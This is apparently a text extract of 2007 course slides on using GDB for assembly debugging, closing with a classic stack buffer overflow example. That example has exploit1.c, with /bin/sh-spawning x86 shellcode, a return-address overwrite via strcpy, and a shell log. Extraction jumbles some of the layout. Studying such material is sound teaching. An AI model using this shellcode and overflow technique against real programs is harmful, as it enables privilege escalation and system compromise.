CS220 March 7, 2007
GDB info gdb gcc -g -Wall -o lab5 lab5.s gdb lab5 (gdb) <-prompt •
http://sourceware.org/gdb/current/onlinedocs/gdb.html#SEC_Top
Useful Commands • h[elp] [keyword] – Displays help information. E.g. h print
• r[un] [args] – Begin program execution. If the program normally takes command-line arguments (e.g., lab5 arg1 arg2), you should specify them here (e.g., r arg1 arg2).
• q[uit] – Exit from gdb.
Breakpoints • b[reak] [filename:]linenum – Set a breakpoint at line linenum in the source file filename. If filename is omitted, use current file. If linenum is omitted, use current line. e.g. b lab5.s:25
• b[reak] [filename:]function – Set a breakpoint at entry to function function found in file filename. e.g. b main
• b[reak] *address – Set a breakpoint at address address. E.g. b *0x34ff6483
• d[elete] b[reakpoints] number – Delete specified breakpoint number.
• i[nfo] b[reak] – Display numbered list of all breakpoints currently set.
Examining Source File • l[ist] linenum – Print lines centered around line number linenum in the current source file.
• l[ist] function – Print lines centered around the beginning of function function.
• l[ist] – Print more lines. If the last lines printed were printed with a list command, this prints lines following the last lines printed; however, if the last line printed was a solitary line printed as part of displaying a stack frame, this prints lines centered around that line.
Execution • c[ontinue] – Continue execution after stopping at a breakpoint until next breakpoint or the end of the program.
• s[tep] • s[tep]i – Execute a single instruction and then return to the command line interpreter.
• n[ext] • n[ext]i – Like stepi, except that if the instruction is a subroutine call, the entire subroutine is executed before control returns to the interpreter.
Examining Expression • p[rint][/format] expr – Print the value of an expression using the specified format (decimal if unspecified). Expressions can involve program variables or registers, which are specified using a $ rather than a % sign. – Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char) and s(string). – For example, to display the value of register %eax in hexdecimal, type p/x $eax. To see the value of a variable myint, type p myint.
Examining memory • x/[count][format] [address] – Examine the contents of a specified memory address, or the current address if none specified. If count is specified, displays specified number of words. – Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char) and s(string). – Addresses can be symbolic (e.g., main) or numeric (e.g., 0x10a44). Formats are as for print. Particularly useful for printing the program text, e.g., x/100i main disassembles and prints 100 instructions starting at main. – e.g. x/x 0xac51ee80
Difference between p and x (gdb) p $esp $1 = (void *) 0xfee1ee80 (gdb) x/x $esp 0xfee1ee80: 0x00000000 (gdb) x/x 0xfee1ee80 0xfee1ee80: 0x00000000 (gdb) x/x *0xfee1ee80 0x0: Cannot access memory at address 0x0
• i[nfo] r[egisters] register – print the value of a register (or, if none is specified, of all registers) in hex and decimal. Specify the register without a leading %, – e.g., i r eax.
• set var = expr – Set specified register or memory location to value of expression. – Examples:
• set $eax=0x456789AB • set myint=myint*2
Automatic Display • display expr – Add the expression expr to the list of expressions to display each time your program stops.
• display/fmt expr – For fmt specifying only a display format and not a size or count, add the expression expr to the auto-display list but arrange to display it each time in the specified format fmt..
• display/fmt addr – For fmt `i' or `s', or including a unit-size or a number of units, add the expression addr as a memory address to be examined each time your program stops. Examining means in effect doing `x/fmt addr'.
• delete display dnums... – Remove item numbers dnums from the list of expressions to display.
Frame • f[rame] – When used without any argument, this command does not change which frame is selected, but prints a brief description of the currently selected stack frame. It can be abbreviated f. With an argument, this command is used to select a stack frame.
• f[rame] n – Select frame number n. Recall that frame zero is the innermost (currently executing) frame, frame one is the frame that called the innermost one, and so on. The highest-numbered frame is the one for main.
• up n – Move n frames up the stack. For positive numbers n, this advances toward the outermost frame, to higher frame numbers, to frames that have existed longer. n defaults to one.
• do[wn] n – Move n frames down the stack. For positive numbers n, this advances toward the innermost frame, to lower frame numbers, to frames that were created more recently. n defaults to one.
Stack •
where – Show current activation stack. When you got a segmentation fault, use this command to figure out the error.
• •
backtrace bt – Print a backtrace of the entire stack: one line per frame for all frames in the stack. You can stop the backtrace at any time by typing the system interrupt character, normally Ctrl-c.
• •
backtrace n bt n – Similar, but print only the innermost n frames.
• •
backtrace -n bt -n – Similar, but print only the outermost n frames.
GDB case analysis .section .rodata .LC0: .string "Hello, World!\n" .text .globl main .type main, @function main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax subl %eax, %esp subl $4, %esp pushl $14 pushl $.LC0 pushl $1 call write addl $16, %esp movl $0, %eax leave ret .size main, .-main
Link to this case analysis: Linux Assembly and Disassembly http://www.milw0rm.com/papers/47
Buffer Overflow exploit1.c -----------------------------------------------------------------------------char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; Link to this case analysis: long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) Smashing The Stack For Fun And Profit *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) http://insecure.org/stf/smashstack.html large_string[i] = shellcode[i]; strcpy(buffer,large_string); } -----------------------------------------------------------------------------[aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$
What’s going on? bottom of memory
DDDDDDDDEEEEEEEEEEEE 89ABCDEF0123456789AB buffer
<------
EEEE CDEF
FFFF 0123
FFFF 4567
ebp
ret
a
FFFF 89AB b
FFFF CDEF
top of memory
c
[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________|
top of stack
bottom of stack
setuid -rwsr-xr-x 1 root
root